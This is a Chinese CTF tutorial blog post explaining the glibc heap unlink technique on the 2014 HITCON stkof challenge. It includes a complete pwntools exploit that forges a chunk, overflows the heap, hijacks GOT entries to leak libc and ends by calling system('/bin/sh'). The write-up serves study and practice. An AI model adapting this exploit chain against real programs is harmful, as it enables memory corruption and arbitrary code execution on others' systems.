CTF PWN之heap入门 unlink

环境

ubuntu20 + pwndbg + patchelf + glibc-all-in-one

为什么要用ubuntu不用kali,这里不做解释,总之就是自己在搭环境时出现了各种问题,但用ubuntu20不会出现,
pwndbg,打pwn题必备,具体安装过程见gdb与peda、pwngdb、pwndbg组合安装与使用

patchelf则可以实现动态更改二进制文件的glibc连接库版本,

glibc-all-in-one,提供了glibc常见版本。

patchelf --set-interpreter ./glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so --set-rpath ./glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64 target_file

一句话unlink操作就是从一个双链表中取出一个结点的操作(这里就是在非fastbin中取chunk的操作),那么什么时候会触发unlink操作呢?即当free一个非fastbin大小的chunk时,当物理相邻的前后存在free状态的chunk时,会触发向前或向后合并的操作,而合并就涉及到将一个free的chunk从双链表(这里注意如果处于free状态的chunk是在fastbin中,不会触发合并,因为fastbin中的chunk的in_user位是一定置1的,而这里判断是否free是通过下一个chunk的in_user位来判断)中取出的操作,即unlink。

unlink可以实现什么样的效果

这里可以取查看gblic关于unlink的源码,这里就不做分析,简单过程为:

这里讨论的是64位的情况,32位道理一样。

P:为要取出的chunk指针(指向chunk头的)
修改P的fd位为:P - 0x18
修改P的bk位为:P - 0x10

在执行unlink时会检测,(P->fd + 0x18 == P && P-bk + 0x10 ==P),即检测P的下一个chunk的上一个chunk是否为P和P的上一个chunk的下一个chunk是否为P,这里就是利用的关键,因为这里一切的触发都是P,是通过来定位其前后节点,所有存在绕过方式,
即 (P - 0x18 +0x18==P && P - 0x10 + 0x10 ==p) 为真。满足执行unlink条件。

unlink操作为:
P->fd + 0x18 = P->bk ==> P - 0x18 + 0x18 = P - 0x10 ==> P = P - 0x10
P->bk + 0x10 = P->fd ==> P - 0x10 + 0x10 = P - 0x18 ==> P = P - 0x18

所有执行完后就实现了 P = P - 0x18

单看这个效果好像没什么利用点,但是如果程序将chunk的指针(chunk中用户可编辑区的指针)存储在全局bass段呢?那么有意思的来了,我们就能得到一个bass地址mem = mem - 0x18,这在结合堆mem指针进行编辑的程序来实现bass段任意写入。

题目练习

2014 HITCON stkof
github链接
BUUCTF链接

checksec 检测


got表可写,canary found开启栈溢出困难,NX开启。

IDA参看分析:

程序存在 4 个功能,

sub_400936():用户输入要分配的内存空间大小,用malloc分配堆空间后将指针存储在bass段

sub_4009E8():向指定推块写入任意长度的字符 存在堆溢出

sub_400B07():free()

sub_400BA9():这里没有利用价值

明显程序将malloc()返回的指针保存在bass段,这考虑unlink,可以看到GLBC版本为2.2.5,满足unlink利用条件。

注意:在程序中没有看见setbuf()/setvbuf()函数,该函数作用为关闭I/O缓冲区,没有即程序在整个过程中I/O缓冲区一直没被释放,这对于我们来说是个好消息。

利用思路:

unlink的利用需要申请连续的chunk,为了方便我们先要让IO两个缓冲区都申请了,即程序执行至少以此IO输出,一次IO此输入(这里可以让程序执行一遍创建堆块的流程实现),后面再创建两个相邻的堆块,后面一个大小大于0x80,再前一个堆块里伪造一个释放状态的chunk,并利用堆溢出改写后一个chunk的P_size(伪造chunk的大小包括chunk头),和size(in_user为为0),然后free后面的chunk来触发前合并,从而进行unlink。在bass段存储chunk指针区获得一个 target = target -0x18 的地址。

本地搭建调试环境

利用patchelf + glibc-all-in-one切换该二进制文件的glibc版本
这里没有找打glibc2.25的版本,用2.23的也可以。

执行./download 2.23-0ubuntu11.3_amd64下载

切换glibc版本

patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so --set-rpath ~/glibc-all-in-one//libs/2.23-0ubuntu11.3_amd64 ./stkof

ldd stkof 查看 成功切换

直接上exp

from pwn import *
context.log_level = 'debug'
stkof = ELF('./stkof')
#p = remote('node4.buuoj.cn',27198)
p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('/home/lusong/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

head = 0x602140 #储存chunk指针的bass段数组开始地址0为空闲从1开始


def alloc(size):
    p.sendline(b'1')
    p.sendline(str(size))
    p.recvuntil(b'OK\n')


def edit(idx, size, content):
    p.sendline(b'2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil(b'OK\n')


def free(idx):
    p.sendline(b'3')
    p.sendline(str(idx))


def exp():
    # 让程序走一遍,实现IO缓冲区分配
    alloc(0x100)  # idx 1

    alloc(0x20)  # idx 2
    alloc(0x80)  # idx 3

    #在2中伪造chunk并且溢出修改3的chunk头
    payload = p64(0)  #prev_size
    payload += p64(0x20)  #size
    payload += p64(head + 16 - 0x18)  #fd
    payload += p64(head + 16 - 0x10)  #bk
    #溢出部分
    payload += p64(0x20)
    payload += p64(0x90)

    edit(2, len(payload), payload)
    # 释放3触发向前后合并,触发unlink,得到 head + 16 = head + 16 -0x18
    free(3)
    p.recvuntil('OK\n')


    # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
    payload = b'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
        stkof.got['atoi'])
    edit(2, len(payload), payload) #这里payload数据是写入了bass段

    # edit free@got to puts@plt
    payload = p64(stkof.plt['puts'])
    edit(0, len(payload), payload)

    #实际上变成了 puts(puts_addr) 得到puts地址来计算libc基址
    free(1)
    puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']

    binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    log.success('libc base: ' + hex(libc_base))
    log.success('/bin/sh addr: ' + hex(binsh_addr))
    log.success('system addr: ' + hex(system_addr))
    # modify atoi@got to system addr
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send(p64(binsh_addr))
    p.interactive()


if __name__ == "__main__":
    exp()

可以通过pwndbg来调试验证每部分exp的作用,这里就不做演示,代码已经很明确了。

转载于本人博客http://lusong.store/index.php/archives/154/icon-default.png?t=M85Bhttp://lusong.store/index.php/archives/154/

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值